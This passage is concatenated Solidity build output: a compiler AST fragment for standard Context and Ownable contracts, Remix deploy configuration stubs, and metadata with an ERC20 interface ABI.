{
"expression": {
"expression": {
"id": 684,
"name": "msg",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 4294967281,
"src": "7376:3:0",
"typeDescriptions": {
"typeIdentifier": "t_magic_message",
"typeString": "msg"
}
},
"id": 685,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "sender",
"nodeType": "MemberAccess",
"src": "7376:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"functionReturnParameters": 683,
"id": 686,
"nodeType": "Return",
"src": "7369:17:0"
}
]
},
"id": 688,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "_msgSender",
"nameLocation": "7305:10:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 680,
"nodeType": "ParameterList",
"parameters": [],
"src": "7315:2:0"
},
"returnParameters": {
"id": 683,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 682,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 688,
"src": "7349:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 681,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7349:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "7348:9:0"
},
"scope": 698,
"src": "7296:98:0",
"stateMutability": "view",
"virtual": true,
"visibility": "internal"
},
{
"body": {
"id": 696,
"nodeType": "Block",
"src": "7469:34:0",
"statements": [
{
"expression": {
"expression": {
"id": 693,
"name": "msg",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 4294967281,
"src": "7487:3:0",
"typeDescriptions": {
"typeIdentifier": "t_magic_message",
"typeString": "msg"
}
},
"id": 694,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "data",
"nodeType": "MemberAccess",
"src": "7487:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_calldata_ptr",
"typeString": "bytes calldata"
}
},
"functionReturnParameters": 692,
"id": 695,
"nodeType": "Return",
"src": "7480:15:0"
}
]
},
"id": 697,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "_msgData",
"nameLocation": "7411:8:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 689,
"nodeType": "ParameterList",
"parameters": [],
"src": "7419:2:0"
},
"returnParameters": {
"id": 692,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 691,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 697,
"src": "7453:14:0",
"stateVariable": false,
"storageLocation": "calldata",
"typeDescriptions": {
"typeIdentifier": "t_bytes_calldata_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 690,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "7453:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "7452:16:0"
},
"scope": 698,
"src": "7402:101:0",
"stateMutability": "view",
"virtual": true,
"visibility": "internal"
}
],
"scope": 788,
"src": "7263:243:0",
"usedErrors": []
},
{
"abstract": true,
"baseContracts": [
{
"baseName": {
"id": 699,
"name": "Context",
"nodeType": "IdentifierPath",
"referencedDeclaration": 698,
"src": "7541:7:0"
},
"id": 700,
"nodeType": "InheritanceSpecifier",
"src": "7541:7:0"
}
],
"contractDependencies": [],
"contractKind": "contract",
"fullyImplemented": true,
"id": 787,
"linearizedBaseContracts": [
787,
698
],
"name": "Ownable",
"nameLocation": "7530:7:0",
"nodeType": "ContractDefinition",
"nodes": [
{
"constant": false,
"id": 702,
"mutability": "mutable",
"name": "_owner",
"nameLocation": "7572:6:0",
"nodeType": "VariableDeclaration",
"scope": 787,
"src": "7556:22:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 701,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7556:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "private"
},
{
"anonymous": false,
"id": 708,
"name": "OwnershipTransferred",
"nameLocation": "7593:20:0",
"nodeType": "EventDefinition",
"parameters": {
"id": 707,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 704,
"indexed": true,
"mutability": "mutable",
"name": "previousOwner",
"nameLocation": "7630:13:0",
"nodeType": "VariableDeclaration",
"scope": 708,
"src": "7614:29:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 703,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7614:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 706,
"indexed": true,
"mutability": "mutable",
"name": "newOwner",
"nameLocation": "7661:8:0",
"nodeType": "VariableDeclaration",
"scope": 708,
"src": "7645:24:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 705,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7645:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "7613:57:0"
},
"src": "7587:84:0"
},
{
"body": {
"id": 716,
"nodeType": "Block",
"src": "7693:51:0",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [],
"expression": {
"argumentTypes": [],
"id": 712,
"name": "_msgSender",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 688,
"src": "7723:10:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$__$returns$_t_address_$",
"typeString": "function () view returns (address)"
}
},
"id": 713,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "7723:12:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 711,
"name": "_transferOwnership",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 786,
"src": "7704:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$returns$__$",
"typeString": "function (address)"
}
},
"id": 714,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "7704:32:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 715,
"nodeType": "ExpressionStatement",
"src": "7704:32:0"
}
]
},
"id": 717,
"implemented": true,
"kind": "constructor",
"modifiers": [],
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 709,
"nodeType": "ParameterList",
"parameters": [],
"src": "7690:2:0"
},
"returnParameters": {
"id": 710,
"nodeType": "ParameterList",
"parameters": [],
"src": "7693:0:0"
},
"scope": 787,
"src": "7679:65:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 723,
"nodeType": "Block",
"src": "7773:44:0",
"statements": [
{
"expression": {
"arguments": [],
"expression": {
"argumentTypes": [],
"id": 719,
"name": "_checkOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 745,
"src": "7784:11:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$__$returns$__$",
"typeString": "function () view"
}
},
"id": 720,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "7784:13:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 721,
"nodeType": "ExpressionStatement",
"src": "7784:13:0"
},
{
"id": 722,
"nodeType": "PlaceholderStatement",
"src": "7808:1:0"
}
]
},
"id": 724,
"name": "onlyOwner",
"nameLocation": "7761:9:0",
"nodeType": "ModifierDefinition",
"parameters": {
"id": 718,
"nodeType": "ParameterList",
"parameters": [],
"src": "7770:2:0"
},
"src": "7752:65:0",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 731,
"nodeType": "Block",
"src": "7880:32:0",
"statements": [
{
"expression": {
"id": 729,
"name": "_owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 702,
"src": "7898:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"functionReturnParameters": 728,
"id": 730,
"nodeType": "Return",
"src": "7891:13:0"
}
]
},
"functionSelector": "8da5cb5b",
"id": 732,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "owner",
"nameLocation": "7834:5:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 725,
"nodeType": "ParameterList",
"parameters": [],
"src": "7839:2:0"
},
"returnParameters": {
"id": 728,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 727,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 732,
"src": "7871:7:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 726,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "7871:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "7870:9:0"
},
"scope": 787,
"src": "7825:87:0",
"stateMutability": "view",
"virtual": true,
"visibility": "public"
},
{
"body": {
"id": 744,
"nodeType": "Block",
"src": "7969:87:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 740,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"arguments": [],
"expression": {
"argumentTypes": [],
"id": 736,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 732,
"src": "7988:5:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$__$returns$_t_address_$",
"typeString": "function () view returns (address)"
}
},
"id": 737,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "7988:7:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"arguments": [],
"expression": {
"argumentTypes": [],
"id": 738,
"name": "_msgSender",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 688,
"src": "7999:10:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$__$returns$_t_address_$",
"typeString": "function () view returns (address)"
}
},
"id": 739,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "7999:12:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "7988:23:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"hexValue": "4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572",
"id": 741,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "8013:34:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe",
"typeString": "literal_string \"Ownable: caller is not the owner\""
},
"value": "Ownable: caller is not the owner"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe",
"typeString": "literal_string \"Ownable: caller is not the owner\""
}
],
"id": 735,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "7980:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 742,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "7980:68:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 743,
"nodeType": "ExpressionStatement",
"src": "7980:68:0"
}
]
},
"id": 745,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "_checkOwner",
"nameLocation": "7933:11:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 733,
"nodeType": "ParameterList",
"parameters": [],
"src": "7944:2:0"
},
"returnParameters": {
"id": 734,
"nodeType": "ParameterList",
"parameters": [],
"src": "7969:0:0"
},
"scope": 787,
"src": "7924:132:0",
"stateMutability": "view",
"virtual": true,
"visibility": "internal"
},
{
"body": {
"id": 766,
"nodeType": "Block",
"src": "8134:131:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 758,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"id": 753,
"name": "newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 747,
"src": "8153:8:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "!=",
"rightExpression": {
"arguments": [
{
"hexValue": "30",
"id": 756,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "8173:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
}
],
"id": 755,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "8165:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": {
"id": 754,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "8165:7:0",
"typeDescriptions": {}
}
},
"id": 757,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "8165:10:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "8153:22:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"hexValue": "4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373",
"id": 759,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "8177:40:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe",
"typeString": "literal_string \"Ownable: new owner is the zero address\""
},
"value": "Ownable: new owner is the zero address"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe",
"typeString": "literal_string \"Ownable: new owner is the zero address\""
}
],
"id": 752,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "8145:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 760,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "8145:73:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 761,
"nodeType": "ExpressionStatement",
"src": "8145:73:0"
},
{
"expression": {
"arguments": [
{
"id": 763,
"name": "newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 747,
"src": "8248:8:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 762,
"name": "_transferOwnership",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 786,
"src": "8229:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$returns$__$",
"typeString": "function (address)"
}
},
"id": 764,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "8229:28:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 765,
"nodeType": "ExpressionStatement",
"src": "8229:28:0"
}
]
},
"functionSelector": "f2fde38b",
"id": 767,
"implemented": true,
"kind": "function",
"modifiers": [
{
"id": 750,
"kind": "modifierInvocation",
"modifierName": {
"id": 749,
"name": "onlyOwner",
"nodeType": "IdentifierPath",
"referencedDeclaration": 724,
"src": "8124:9:0"
},
"nodeType": "ModifierInvocation",
"src": "8124:9:0"
}
],
"name": "transferOwnership",
"nameLocation": "8073:17:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 748,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 747,
"mutability": "mutable",
"name": "newOwner",
"nameLocation": "8099:8:0",
"nodeType": "VariableDeclaration",
"scope": 767,
"src": "8091:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 746,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "8091:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "8090:18:0"
},
"returnParameters": {
"id": 751,
"nodeType": "ParameterList",
"parameters": [],
"src": "8134:0:0"
},
"scope": 787,
"src": "8064:201:0",
"stateMutability": "nonpayable",
"virtual": true,
"visibility": "public"
},
{
"body": {
"id": 785,
"nodeType": "Block",
"src": "8336:128:0",
"statements": [
{
"assignments": [
773
],
"declarations": [
{
"constant": false,
"id": 773,
"mutability": "mutable",
"name": "oldOwner",
"nameLocation": "8355:8:0",
"nodeType": "VariableDeclaration",
"scope": 785,
"src": "8347:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 772,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "8347:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"id": 775,
"initialValue": {
"id": 774,
"name": "_owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 702,
"src": "8366:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "8347:25:0"
},
{
"expression": {
"id": 778,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"id": 776,
"name": "_owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 702,
"src": "8383:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"id": 777,
"name": "newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 769,
"src": "8392:8:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "8383:17:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 779,
"nodeType": "ExpressionStatement",
"src": "8383:17:0"
},
{
"eventCall": {
"arguments": [
{
"id": 781,
"name": "oldOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 773,
"src": "8437:8:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 782,
"name": "newOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 769,
"src": "8447:8:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 780,
"name": "OwnershipTransferred",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 708,
"src": "8416:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_event_nonpayable$_t_address_$_t_address_$returns$__$",
"typeString": "function (address,address)"
}
},
"id": 783,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "8416:40:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 784,
"nodeType": "EmitStatement",
"src": "8411:45:0"
}
]
},
"id": 786,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "_transferOwnership",
"nameLocation": "8282:18:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 770,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 769,
"mutability": "mutable",
"name": "newOwner",
"nameLocation": "8309:8:0",
"nodeType": "VariableDeclaration",
"scope": 786,
"src": "8301:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 768,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "8301:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
}
],
"src": "8300:18:0"
},
"returnParameters": {
"id": 771,
"nodeType": "ParameterList",
"parameters": [],
"src": "8336:0:0"
},
"scope": 787,
"src": "8273:191:0",
"stateMutability": "nonpayable",
"virtual": true,
"visibility": "internal"
}
],
"scope": 788,
"src": "7512:955:0",
"usedErrors": []
}
],
"src": "33:8434:0"
},
"id": 0
}
}
}
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {}
},
"abi": []
}
{
"compiler": {
"version": "0.8.8+commit.dddeac2f"
},
"language": "Solidity",
"output": {
"abi": [],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/COMMON/common.sol": "Context"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/COMMON/common.sol": {
"keccak256": "0x177a8df6d55170f3c232999b7952549b3b71aa7201b86d78a9a182d5943c8b78",
"license": "MIT",
"urls": [
"bzz-raw://b4075561afcd66760399dcb0130a6da12e3edec10d589032f9526b3986a12fa9",
"dweb:/ipfs/QmRUP3vWdQEmsrUz2ncAB2y54W1sizb9tca2kWnnjMV9Jo"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"goerli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"deployedBytecode": {
"functionDebugData": {},
"generatedSources": [],
"immutableReferences": {},
"linkReferences": {},
"object": "",
"opcodes": "",
"sourceMap": ""
},
"gasEstimates": null,
"methodIdentifiers": {
"allowance(address,address)": "dd62ed3e",
"approve(address,uint256)": "095ea7b3",
"balanceOf(address)": "70a08231",
"totalSupply()": "18160ddd",
"transfer(address,uint256)": "a9059cbb",
"transferFrom(address,address,uint256)": "23b872dd"
}
},
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "from",
"type": "address"
},
{
"internalType": "address",
"name": "to",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "transferFrom",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.8+commit.dddeac2f"
},
"language": "Solidity",
"output": {
"abi": [
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Approval",
"type": "event"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
},
{
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
},
{
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}
],
"name": "Transfer",
"type": "event"
},
{
"inputs": [
{
"internalType": "address",
"name": "owner",
"type": "address"
},
{
"internalType": "address",
"name": "spender",
"type": "address"
}
],
"name": "allowance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "spender",
"type": "address"
},
{
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}
],
"name": "approve",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "account",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "totalSupply",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
